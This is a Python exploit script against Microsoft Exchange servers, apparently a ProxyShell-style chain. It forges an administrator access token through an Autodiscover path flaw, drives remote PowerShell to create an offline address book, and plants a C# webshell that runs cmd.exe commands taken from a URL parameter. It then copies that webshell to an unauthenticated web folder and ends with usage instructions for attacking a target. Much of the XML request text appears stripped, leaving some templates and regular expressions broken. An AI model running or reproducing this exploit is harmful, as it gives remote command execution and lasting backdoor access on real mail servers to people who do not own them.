import base64
import re
import xml.dom.minidom
import json
import uuid
import struct
import string
import random
import hashlib
import time
import urllib
import sys
import warnings
warnings.filterwarnings("ignore")
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
# proxies = {'https': 'http://127.0.0.1:8080'}
proxies = {}
base_url = ""
session = requests.Session()
def post_request(original_url, headers, data = None, cookies = {}):
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
cookies["email"] = "Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com"
url = base_url + "/Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com" + original_url
if data is not None:
r = session.post(url, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
else:
r = session.get(url, headers=headers, cookies=cookies, verify=False, proxies=proxies)
return r
def print_error_and_exit(error, r):
print '[+] ', repr(error)
if r is not None:
print '[+] status_code: ', r.status_code
print '[+] response headers: ', repr(r.headers)
print '[+] response: ', repr(r.text)
raise Exception("exploit failed")
def get_userdn(email_address):
headers = {"Content-Type": "text/xml; charset=utf-8"}
data = """
Exchange2010
http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings
https://mail.microsoft.com/autodiscover/autodiscover.svc
%s
UserDN
""" % (email_address)
print "[+] Send request to get UserDN"
r = post_request("/Autodiscover/Autodiscover.svc", headers, data)
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text);
UserDN = doc.getElementsByTagName("UserSetting")[0].getElementsByTagName("Value")[0].firstChild.nodeValue
# print "[+] Got UserDN of %s : %s" % (email_address, UserDN)
print "[+] Got UserDN success"
return UserDN.encode('ascii')
else:
print_error_and_exit("get_userdn failed", r)
def get_sid(UserDN, email_address):
headers = {'Content-Type': 'application/mapi-http',
'X-Clientapplication': 'Outlook/15.0.4815.1002',
'X-Clientinfo': '{2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}',
'X-Requestid': '{C715155F-2BE8-44E0-BD34-2960065754C8}:2',
'X-Requesttype': 'Connect',
'X-User-Identity': email_address }
suffix = base64.b64decode("AAAAAADkBAAACQQAAAkEAAAAAAAA")
data = UserDN + suffix
print '[+] Send request to get sid'
r = post_request("/mapi/emsmdb", headers, data)
if r.status_code == 200:
sid = re.search("with SID (.*) and MasterAccountSid", r.text).group(1)
# print '[+] Found sid of %s : %s' % (email_address, sid)
print '[+] Got sid success'
return sid
else:
print_error_and_exit("get_sid failed", r)
def extract_domainid(sid):
ret = re.search("S-1-5-21-(.*)-\\d+", sid)
if ret is not None:
domainid = ret.group(1)
print "[+] Extract Domain ID success"
return domainid
else:
return None
class BasePacket:
def __init__(self, ObjectId = 0, Destination = 2, MessageType = 0, RPID = None, PID = None, Data = ""):
self.ObjectId = ObjectId
self.FragmentId = 0
self.Flags = "\x03"
self.Destination = Destination
self.MessageType = MessageType
self.RPID = RPID
self.PID = PID
self.Data = Data
def __str__(self):
return "ObjectId: " + str(self.ObjectId) + ", FragmentId: " + str(self.FragmentId) + ", MessageType: " + str(self.MessageType) + ", RPID: " + str(self.RPID) + ", PID: " + str(self.PID) + ", Data: " + self.Data
def serialize(self):
Blob = ''.join([struct.pack('I', self.Destination),
struct.pack('I', self.MessageType),
self.RPID.bytes_le,
self.PID.bytes_le,
self.Data
])
BlobLength = len(Blob)
output = ''.join([struct.pack('>Q', self.ObjectId),
struct.pack('>Q', self.FragmentId),
self.Flags,
struct.pack('>I', BlobLength),
Blob ])
return output
def deserialize(self, data):
total_len = len(data)
i = 0
self.ObjectId = struct.unpack('>Q', data[i:i+8])[0]
i = i + 8
self.FragmentId = struct.unpack('>Q', data[i:i+8])[0]
i = i + 8
self.Flags = data[i]
i = i + 1
BlobLength = struct.unpack('>I', data[i:i+4])[0]
i = i + 4
Blob = data[i:i+BlobLength]
lastIndex = i + BlobLength
i = 0
self.Destination = struct.unpack('I', Blob[i:i+4])[0]
i = i + 4
self.MessageType = struct.unpack('I', Blob[i:i+4])[0]
i = i + 4
self.RPID = uuid.UUID(bytes_le=Blob[i:i+16])
i = i + 16
self.PID = uuid.UUID(bytes_le=Blob[i:i+16])
i = i + 16
self.Data = Blob[i:]
return lastIndex
class SESSION_CAPABILITY(BasePacket):
def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""):
self.Destination = 2
self.MessageType = 0x00010002
BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data)
class INIT_RUNSPACEPOOL(BasePacket):
def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""):
self.Destination = 2
self.MessageType = 0x00010004
BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data)
class CreationXML:
def __init__(self, sessionCapability, initRunspacPool):
self.sessionCapability = sessionCapability
self.initRunspacPool = initRunspacPool
def serialize(self):
output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()
return base64.b64encode(output)
def deserialize(self, data):
rawdata = base64.b64decode(data)
lastIndex = self.sessionCapability.deserialize(rawdata)
self.initRunspacPool.deserialize(rawdata[lastIndex:])
def __str__(self):
return self.sessionCapability.__str__() + self.initRunspacPool.__str__()
class PSCommand(BasePacket):
def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""):
self.Destination = 2
self.MessageType = 0x00021006
BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data)
def create_powershell_shell(SessionId, RPID, commonAccessToken):
print "[+] Create powershell session"
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8",
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
PID = uuid.UUID('{00000000-0000-0000-0000-000000000000}')
sessionData = """2.32.01.1.0.1"""
sessionCapability = SESSION_CAPABILITY(1, RPID, PID, sessionData)
initData = """11System.Management.Automation.Runspaces.PSThreadOptionsSystem.EnumSystem.ValueTypeSystem.ObjectDefault0System.Threading.ApartmentStateSystem.EnumSystem.ValueTypeSystem.ObjectUnknown2System.Management.Automation.PSPrimitiveDictionarySystem.Collections.HashtableSystem.ObjectPSVersionTablePSVersion5.1.19041.610PSEditionDesktopPSCompatibleVersionsSystem.Version[]System.ArraySystem.Object1.02.03.04.05.05.1.19041.610CLRVersion4.0.30319.42000BuildVersion10.0.19041.610WSManStackVersion3.0PSRemotingProtocolVersion2.3SerializationVersion1.1.0.1System.Collections.HashtableSystem.Object9System.StringAdministrator: Windows PowerShell8System.Management.Automation.Host.Size274727System.Management.Automation.Host.Size120726System.Management.Automation.Host.Size120505System.Management.Automation.Host.Size12030004System.Int32253System.Management.Automation.Host.Coordinates002System.Management.Automation.Host.Coordinates091System.ConsoleColor50System.ConsoleColor6falsefalsefalsefalse"""
initRunspacPool = INIT_RUNSPACEPOOL(2, RPID, PID, initData)
creationXml = CreationXML(sessionCapability, initRunspacPool).serialize()
# xpress
request_data = """
https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610
http://schemas.microsoft.com/powershell/Microsoft.Exchange
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.xmlsoap.org/ws/2004/09/transfer/Create
512000
uuid:{MessageID}
uuid:{SessionId}
uuid:{OperationID}
1
2.3
PT180.000S
stdin pr
stdout
{creationXml}
""".format(OperationID=OperationID, MessageID=MessageID, SessionId=SessionId, creationXml=creationXml)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text);
elements = doc.getElementsByTagName("rsp:ShellId")
if len(elements) == 0:
print_error_and_exit("create_powershell_shell failed with no ShellId return", r)
ShellId = elements[0].firstChild.nodeValue
# print "[+] Got ShellId: {ShellId}".format(ShellId=ShellId)
print "[+] Got ShellId success"
return ShellId
else:
print_error_and_exit("create_powershell_shell failed", r)
def receive_data(SessionId, commonAccessToken, ShellId):
print "[+] Receive data util get RunspaceState packet"
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8"
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
request_data = """
https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610
http://schemas.microsoft.com/powershell/Microsoft.Exchange
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive
512000
uuid:{MessageID}
uuid:{SessionId}
uuid:{OperationID}
1
{ShellId}
TRUE
PT180.000S
stdout
""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text);
elements = doc.getElementsByTagName("rsp:Stream")
if len(elements) == 0:
print_error_and_exit("receive_data failed with no Stream return", r)
for element in elements:
stream = element.firstChild.nodeValue
data = base64.b64decode(stream)
if 'RunspaceState' in data:
print "[+] Found RunspaceState packet"
return True
return False
else:
print_error_and_exit("receive_data failed", r)
def run_cmdlet_new_offlineaddressbook(SessionId, RPID, commonAccessToken, ShellId):
print "[+] Run cmdlet new-offlineaddressbook"
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8",
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
commandData = """
System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]
System.Object
New-OfflineAddressBook
false
System.Management.Automation.Runspaces.PipelineResultTypes
System.Enum
System.ValueType
System.Object
None0
None0
None0
None0
None0
None0
None0
None0
-Name:{name}
-AddressLists:Default Global Address List
false
true
true
System.Threading.ApartmentStateSystem.EnumSystem.ValueTypeSystem.Object
Unknown2
System.Management.Automation.RemoteStreamOptionsSystem.EnumSystem.ValueTypeSystem.Object
00
true
true
true
true
true
false
""".format(name=name)
PID = uuid.uuid4()
# print '[+] Pipeline ID: ', PID
print '[+] Create powershell pipeline'
c = PSCommand(3, RPID, PID, commandData)
command_arguments = base64.b64encode(c.serialize())
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
request_data = """
https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command
512000
uuid:{MessageID}
uuid:{SessionId}
uuid:{OperationID}
1
http://schemas.microsoft.com/powershell/Microsoft.Exchange
{ShellId}
PT180.000S
New-OfflineAddressBook
{command_arguments}
""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId, CommandId=str(PID), command_arguments=command_arguments)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text)
elements = doc.getElementsByTagName("rsp:CommandId")
if len(elements) == 0:
print_error_and_exit("run_cmdlet_new_offlineaddressbook failed with no CommandId return", r)
CommandId = elements[0].firstChild.nodeValue
# print "[+] Got CommandId: {CommandId}".format(CommandId=CommandId)
print "[+] Got CommandId success"
return CommandId
else:
print_error_and_exit("run_cmdlet_new_offlineaddressbook failed", r)
def get_command_output(SessionId, commonAccessToken, ShellId, CommandId):
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8",
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&sessionID=Version_15.1_(Build_2043.4)=rJqNiZqNgbqnvLe+sbi6zsnRm5CSnpaRnJCNj9GckJKBzsbLzc/JzM7Pz4HNz83O0s/M0s3Iq8/Hxc/LxczO&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
request_data = """
https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive
512000uuid:{MessageID}
uuid:{SessionId}
uuid:{OperationID}
1
http://schemas.microsoft.com/powershell/Microsoft.Exchange
{ShellId}
PT180.000S
stdout
""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId, CommandId=CommandId)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text)
elements = doc.getElementsByTagName("rsp:Stream")
if len(elements) == 0:
print_error_and_exit("get_command_output failed with no Stream return", r)
data = elements[0].firstChild.nodeValue
rawdata = base64.b64decode(data)
ret = re.search('(.*)', rawdata)
if ret is None:
print_error_and_exit("get_command_output failed with no oab_guid return,\n\t\trawdata: " + repr(rawdata), r)
oab_guid = ret.group(1)
# print '[+] Found guid: ', oab_guid
print '[+] Create new OAB success, got OAB_GUID'
return oab_guid
else:
print_error_and_exit("get_command_output failed", r)
class CommonAccessToken:
def __init__(self, domain_name, domainid):
self.domainid = domainid
self.Version = 1
self.TokenType = "Windows"
self.IsCompress = 0
self.AuthenticationType = "Kerberos"
self.LogonName = domain_name + "\\administrator"
self.UserSid = "S-1-5-21-" + domainid + "-500"
self.Groups = ["S-1-5-21-" + domainid + "-513",
"S-1-1-0",
"S-1-5-2",
"S-1-5-11",
"S-1-5-15",
"S-1-5-21-" + domainid + "-520",
"S-1-5-21-" + domainid + "-512",
"S-1-5-21-" + domainid + "-518",
"S-1-5-21-" + domainid + "-519",
"S-1-18-1"
]
def serialize(self):
groupdata = "G"
groupdata = groupdata + struct.pack('I', len(self.Groups))
attribute = 7
for g in self.Groups:
groupdata = groupdata + struct.pack('I', attribute) + struct.pack('B', len(g)) + g
groupdata = groupdata + "E" + struct.pack('I', 0) # no extension data
output = ''.join(["V" + struct.pack('H', self.Version),
"T" + struct.pack('B', len(self.TokenType)) + self.TokenType,
"C" + struct.pack('B', self.IsCompress),
"A" + struct.pack('B', len(self.AuthenticationType)) + self.AuthenticationType,
"L" + struct.pack('B', len(self.LogonName)) + self.LogonName,
"U" + struct.pack('B', len(self.UserSid)) + self.UserSid,
groupdata])
return base64.b64encode(output)
def create_new_addressbook(domainid):
cat = CommonAccessToken("DOMAINABCD", domainid)
commonAccessToken = urllib.quote_plus(cat.serialize())
SessionId = uuid.uuid4()
RPID = uuid.uuid4()
ShellId = create_powershell_shell(SessionId, RPID, commonAccessToken)
max_loop = 0
while max_loop < 12: # prevent loop forever
ret = receive_data(SessionId, commonAccessToken, ShellId)
max_loop = max_loop + 1
if ret: break
if max_loop > 10:
print_error_and_exit("create_new_addressbook failed with receive_data run forever", r=None)
break
CommandId = run_cmdlet_new_offlineaddressbook(SessionId, RPID, commonAccessToken, ShellId)
oab_guid = get_command_output(SessionId, commonAccessToken, ShellId, CommandId)
return oab_guid
def create_oabfolder(sid):
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/CreateFolder"'
}
request_data = """
%s
%s
OAB
""" % (sid, sid)
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
ret = re.search("", r.text)
if ret is None:
print_error_and_exit("create_oabfolder failed with no FolderId return", r)
print '[+] Create OAB folder success'
folderId = ret.group(1)
return folderId
else:
print_error_and_exit("create_oabfolder failed", r)
def find_oab_folder(sid):
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"'
}
request_data = """
%s
%s
Default
""" % (sid, sid)
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
ret = re.search("", r.text)
if ret is not None:
print "[+] Found existence OAB folder"
folderId = ret.group(1)
else:
print "[+] OAB folder does not exists, try to create new one"
folderId = create_oabfolder(sid)
# print '[+] Got folderId of oab folder: ', folderId
print '[+] Got folderId of OAB folder'
return folderId
else:
print_error_and_exit("find_oab_folder failed", r)
CREATE_ITEM = """
%s
%s
IPM.FileSet
%s
"""
def create_item(sid, folderId, oab_guid):
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/CreateItem"'
}
request_data = CREATE_ITEM % (sid, sid, folderId, oab_guid)
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
print '[+] Create item in OAB folder success '
doc = xml.dom.minidom.parseString(r.text)
elements = doc.getElementsByTagName("t:Message")
if len(elements) == 0:
print_error_and_exit("find_oab_folder failed with no Message return", r)
MessageData = elements[0].toxml()
ret = re.search("", MessageData)
if ret is None:
print_error_and_exit("find_oab_folder failed with no ItemId return", r)
ItemId = ret.group(1)
# print "[+] Got ItemId: ", ItemId
print "[+] Got ItemId success"
return ItemId
else:
print_error_and_exit("find_oab_folder failed", r)
EXPORT_ITEM = """
%s
%s
"""
def export_item(sid, ItemId):
request_data = EXPORT_ITEM % (sid, sid, ItemId)
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/ExportItems"'
}
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
print '[+] Export item success'
doc = xml.dom.minidom.parseString(r.text)
elements = doc.getElementsByTagName("m:Data")
if len(elements) == 0:
print_error_and_exit("export_item failed with no Data return", r)
Data = elements[0].firstChild.nodeValue
return Data
else:
print_error_and_exit("export_item failed", r)
UPLOAD_ITEM = """
%s
%s
%s
"""
def upload_item(sid, folderId, ItemId, Data):
request_data = UPLOAD_ITEM % (sid, sid, folderId, ItemId, Data)
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/UploadItems"'
}
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
print '[+] Re-Import item success '
doc = xml.dom.minidom.parseString(r.text)
elements = doc.getElementsByTagName("m:ItemId")
if len(elements) == 0:
print_error_and_exit("upload_item failed with no ItemId return", r)
ItemId = elements[0].toxml()
return ItemId
else:
print_error_and_exit("upload_item failed with no ItemId return", r)
PtypInteger32 = '\x03\x00'
PtypBinary = '\x02\x01'
PtypUnicodeString = '\xB0\x84'
PtypTime = '\x40\x00'
class Attach():
StartMarker = '\x03\x00\x00\x40'
EndMarker = '\x03\x00\x0E\x40'
def __init__(self, attachNumber, filename, content):
self.attachNumber = attachNumber
self.filename = filename
self.content = content
def PidTagAttachNumber(self):
PropertyId = '\x21\x0E'
return PtypInteger32 + PropertyId + struct.pack("I", self.attachNumber)
def PidTagAttachSize(self, AttachSize):
PropertyId = '\x20\x0E'
return PtypInteger32 + PropertyId + struct.pack("I", AttachSize)
def PidTagAccessLevel(self):
PropertyId = '\xF7\x0F'
return PtypInteger32 + PropertyId + '\x00\x00\x00\x00'
def PidTagRecordKey(self):
PropertyId = '\xF9\x0F'
RecordKey = '\x4B\xE9\x4B\x63\x94\xF6\xE6\x40\xAD\x64\x74\xD9\x9D\x18\x0C\x63'
return PtypBinary + PropertyId + struct.pack("I", 16) + RecordKey
def PidTagDisplayName(self):
PropertyId = '\x01\x30'
utf16le_displayname = 'test'.encode('utf-16-le') + '\x00\x00'
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_displayname)) + utf16le_displayname
def PidTagCreationTime(self):
PropertyId = '\x07\x30'
return PtypTime + PropertyId + '\x93\x1A\x93\x42\x56\x16\xD7\x01'
def PidTagLastModificationTime(self):
PropertyId = '\x08\x30'
return PtypTime + PropertyId + '\x93\x1A\x93\x42\x56\x16\xD7\x01'
def PidTagAttachDataBinary(self):
AttachDataBinaryPropertyId = '\x01\x37'
AttachDataBinary = PtypBinary + AttachDataBinaryPropertyId + struct.pack("I", len(self.content)) + self.content
return AttachDataBinary
def PidTagAttachExtension(self):
PropertyId = '\x03\x37'
utf16le_extension = '.aspx'.encode('utf-16-le') + '\x00\x00'
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_extension)) + utf16le_extension
def PidTagAttachFilename(self):
PropertyId = '\x04\x37'
utf16le_shortname = '97b44c~1.asp'.encode('utf-16-le') + '\x00\x00'
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_shortname)) + utf16le_shortname
def PidTagAttachMethod(self):
PropertyId = '\x05\x37'
return PtypInteger32 + PropertyId + '\x01\x00\x00\x00'
def PidTagAttachLongFilename(self):
PropertyId = '\x07\x37'
utf16le_filename = self.filename.encode('utf-16-le') + '\x00\x00' # always \x00\x00 in the end
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_filename)) + utf16le_filename
def PidTagRenderingPosition(self):
PropertyId = '\x0B\x37'
return PtypInteger32 + PropertyId + '\xFF\xFF\xFF\xFF'
def PidTagLanguage(self):
PropertyId = '\x0C\x3A'
utf16le_language = 'EnUs'.encode('utf-16-le') + '\x00\x00'
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_language)) + utf16le_language
def PidTagAttachHash(self):
h = hashlib.sha1(self.content)
AttachHashPropertyId = '\x16\x81'
AttachmentPropertySetGUID = '\x7F\x7F\x35\x96\xE1\x59\xD0\x47\x99\xA7\x46\x51\x5C\x18\x3B\x54'
AttachHash = PtypBinary + AttachHashPropertyId + AttachmentPropertySetGUID + '\x01' + 'AttachHash'.encode('utf-16-le') + '\x00\x00' + struct.pack("I", 20) + h.digest()
return AttachHash
def serialize(self):
payload = ''.join([
self.StartMarker,
self.PidTagAttachNumber(),
self.PidTagAttachSize(1364),
self.PidTagAccessLevel() ,
self.PidTagRecordKey() ,
self.PidTagDisplayName(),
self.PidTagCreationTime(),
self.PidTagLastModificationTime(),
self.PidTagAttachDataBinary(),
self.PidTagAttachExtension(),
self.PidTagAttachFilename(),
self.PidTagAttachMethod(),
self.PidTagAttachLongFilename(),
self.PidTagRenderingPosition(),
self.PidTagLanguage(),
self.PidTagAttachHash(),
self.EndMarker
])
attachSize = len(payload) - 133
payload = ''.join([
self.StartMarker,
self.PidTagAttachNumber(),
self.PidTagAttachSize(attachSize),
self.PidTagAccessLevel() ,
self.PidTagRecordKey() ,
self.PidTagDisplayName(),
self.PidTagCreationTime(),
self.PidTagLastModificationTime(),
self.PidTagAttachDataBinary(),
self.PidTagAttachExtension(),
self.PidTagAttachFilename(),
self.PidTagAttachMethod(),
self.PidTagAttachLongFilename(),
self.PidTagRenderingPosition(),
self.PidTagLanguage(),
self.PidTagAttachHash(),
self.EndMarker
])
return payload
def change_data(Data):
rawdata = base64.b64decode(Data)
oab_content = '''
rskvp93.ashx
'''
attach1 = Attach(1, 'oab.xml', oab_content)
content = '''<% @ webhandler language="C#" class="Rskvp93Handler" %>
using System;
using System.Web;
using System.Diagnostics;
using System.IO;
public class Rskvp93Handler : IHttpHandler
{
public Rskvp93Handler()
{
try {
//File.WriteAllText("C:\\test.txt", "test");
string output = "";
string c = HttpContext.Current.Request.Params["c"];
ProcessStartInfo psi = Rskvp93Handler.createProcesssStartInfo(c);
psi = Rskvp93Handler.setInfo(psi);
output = Rskvp93Handler.startProcess(psi);
HttpContext.Current.Response.Headers["CMD-OUTPUT"] = System.Web.HttpUtility.HtmlEncode(output);
} catch (Exception e){
HttpContext.Current.Response.Headers["CMD-EXCEPTION"] = System.Web.HttpUtility.HtmlEncode(e.Message);
}
}
public static ProcessStartInfo createProcesssStartInfo(string c){
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "/c " + c;
return processStartInfo;
}
public static ProcessStartInfo setInfo(ProcessStartInfo psi){
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
return psi;
}
public static string startProcess(ProcessStartInfo psi){
Process pr = Process.Start(psi);
string output = pr.StandardOutput.ReadToEnd();
pr.StandardOutput.Close();
return output;
}
public bool IsReusable
{
get { return true; }
}
public void ProcessRequest(HttpContext ctx)
{
}
}'''
attach2 = Attach(2, r'rskvp93.ashx', content)
NewBlock = attach1.serialize() + attach2.serialize()
newrawdata = rawdata + struct.pack('I', 0x2) + struct.pack('I', len(NewBlock)) + NewBlock
return base64.b64encode(newrawdata)
def request_oab(oab_guid):
oab_path = '/oab/' + oab_guid + '/oab.xml'
max_loop = 0
while max_loop < 12: # prevent loop forever
print '[+] Send oab request to trigger write webshell'
r = post_request(oab_path, headers={}, data=None)
if r.status_code == 200:
# print '[+] Success write shell to server ', r.headers['X-CalculatedBETarget']
print '[+] Success write shell to server'
webshell_path = '/oab/' + oab_guid + '/rskvp93.ashx'
# print '[+] Check webshell at ', webshell_path
return webshell_path
elif max_loop > 10:
print_error_and_exit("request_oab failed with two many retry", r)
elif r.status_code == 404:
print '[+] Retry send oab request'
time.sleep(3)
sys.stdout.flush()
max_loop = max_loop + 1
continue
else:
print_error_and_exit("request_oab failed", r)
def run_command_webshell(webshell_path, command):
print "[+] Run command ", command
url = webshell_path + '?c=' + urllib.quote_plus(command)
r = post_request(url, headers={}, data=None)
if "CMD-EXCEPTION" in r.headers:
print '[+] Run command got exception'
print '[+] CMD-EXCEPTION: ', urllib.unquote(r.headers["CMD-EXCEPTION"])
return False
elif "CMD-OUTPUT" in r.headers:
print '[+] Run command success'
print '[+] Command output: ', urllib.unquote(r.headers["CMD-OUTPUT"])
return True
else:
print_error_and_exit("run_command_webshell failed", r)
def copy_webshell_to_unauthenticated_folder(webshell_path, oab_guid):
source_file = "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\ClientAccess\\OAB\\" + oab_guid + "\\rskvp93.ashx"
target_file = "C:\\inetpub\\wwwroot\\aspnet_client"
command = 'copy "%s" "%s"' % (source_file, target_file)
print "[+] Copy webshell from oab folder to C:\\inetpub\\wwwroot\\aspnet_client"
ret = run_command_webshell(webshell_path, command)
unauth_webshell_path = base_url + "/aspnet_client/rskvp93.ashx?c=[command]"
if ret:
print "[+] Unauthenticated webshell at ", unauth_webshell_path
print "[+] Command output return at header CMD-OUTPUT"
else:
print "[+] Failed to copy webshell to unauthenticated path"
return unauth_webshell_path
def exploit(url, domain, command):
global base_url
base_url = url
email_address = "SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@" + domain
UserDN = get_userdn(email_address)
sid = get_sid(UserDN, email_address)
domainid = extract_domainid(sid)
oab_guid = create_new_addressbook(domainid)
folderId = find_oab_folder(sid)
ItemId = create_item(sid, folderId, oab_guid)
Data = export_item(sid, ItemId)
NewData = change_data(Data)
upload_item(sid, folderId, ItemId, NewData)
webshell_path = request_oab(oab_guid)
run_command_webshell(webshell_path, command)
copy_webshell_to_unauthenticated_folder(webshell_path, oab_guid)
return True
def pwn(url, domain, command):
get_version(url)
num_retry = 0
while num_retry < 5:
try:
ret = exploit(url, domain, command)
if ret: return
except Exception as e:
num_retry = num_retry + 1
print "\n\n\n[+] RETRY EXPLOIT ONE MORE TIMES"
print "[+] exploit failed, so sad !!!!!"
def get_version(base_url):
r = requests.get(base_url + '/owa/', headers={}, allow_redirects = False, verify=False)
if r.status_code == 302 and 'X-OWA-Version' in r.headers:
print '[+] OWA-VERSION: ' + r.headers['X-OWA-Version']
else:
print '[+] OWA-VERSION: Cannot detect'
def howto(name):
print """python %s
- url: the target url, for example https://ex19.exchangelab.local
- domain_part: the domain part an email address, for example admin@domaincorp.com, the domain part will be domaincorp.com
- command: the cmd command to run on server, for example whoami, dir
Example:
python %s https://ex19.exchangelab.local exchangelab.local "whoami /all"
""" % (name, name)
def main():
if len(sys.argv) != 4:
howto(sys.argv[0])
return
url = sys.argv[1]
domain_part = sys.argv[2]
command = sys.argv[3]
pwn(url, domain_part, command)
main()